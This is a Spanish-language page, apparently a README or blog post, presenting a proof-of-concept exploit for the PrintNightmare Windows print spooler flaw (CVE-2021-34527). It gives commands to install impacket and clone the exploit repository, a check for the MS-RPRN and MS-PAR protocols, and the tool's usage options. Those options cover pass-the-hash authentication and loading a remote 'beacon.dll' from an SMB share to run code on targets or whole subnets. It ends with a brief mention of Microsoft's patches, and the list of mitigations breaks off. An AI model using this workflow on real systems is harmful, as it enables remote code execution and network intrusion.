
PrintNightmare (CVE-2021-34527) PoC Exploit
Esta versión del exploit de PrintNightmare se basa en el código creado por Cube0x0, con las siguientes características:
MS-RPRN y MS-PAR (definir en argumentos de CMD).Antes de ejecutarlo, instala la última versión de impacket:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 setup install
git clone https://github.com/m8sec/CVE-2021-34527
cd CVE-2021-34527
python3 CVE-2021-34527.py -h
El rpcdump.py de Impacket se puede usar para comprobar los protocolos MS-PAR y MS-RPRN:
>> rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Alternativamente, el escáner ItWasAllADream de byt3bl33d3r se puede utilizar para escanear objetivos y validar la vulnerabilidad RCE de PrintNightmare.

-v VERBOSE Enable verbose logging from SMB server
-t TIMEOUT Connection timeout
Authentication:
-u USERNAME Set username
-H HASH, -hashes Use NTLM Hash for authentication
-p PASSWORD Set password
-d DOMAIN Set domain
--local-auth Authenticate to target host, no domain
DLL Execution:
-dll DLL Path to local DLL file to execute "beacon.dll"
--remote-dll REMOTE_DLL Remote dll "\\192.168.1.25\Share\beacon.dll"
-share SHARE Set local SMB share name
--local-ip LOCAL_IP Set local IP (defaults to primary interface)
Target(s):
-pDriverPath PDRIVERPATH Define Driver path. Example 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL'
-port [destination port] Destination port to connect to SMB Server
-proto {MS-RPRN,MS-PAR} Target protocol (Default=MS-RPRN)
target 192.168.2.2, target.txt, 10.0.0.0/24 (positional)
Microsoft ha publicado varios parches para PrintNightmare, el más reciente en el Patch Tuesday de septiembre de 2021. Esto abordó la vulnerabilidad subyacente y las soluciones alternativas descubiertas posteriormente. Para más información, visita la guía oficial de Microsoft:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Otras estrategias para mitigar esta vulnerabilidad incluyen: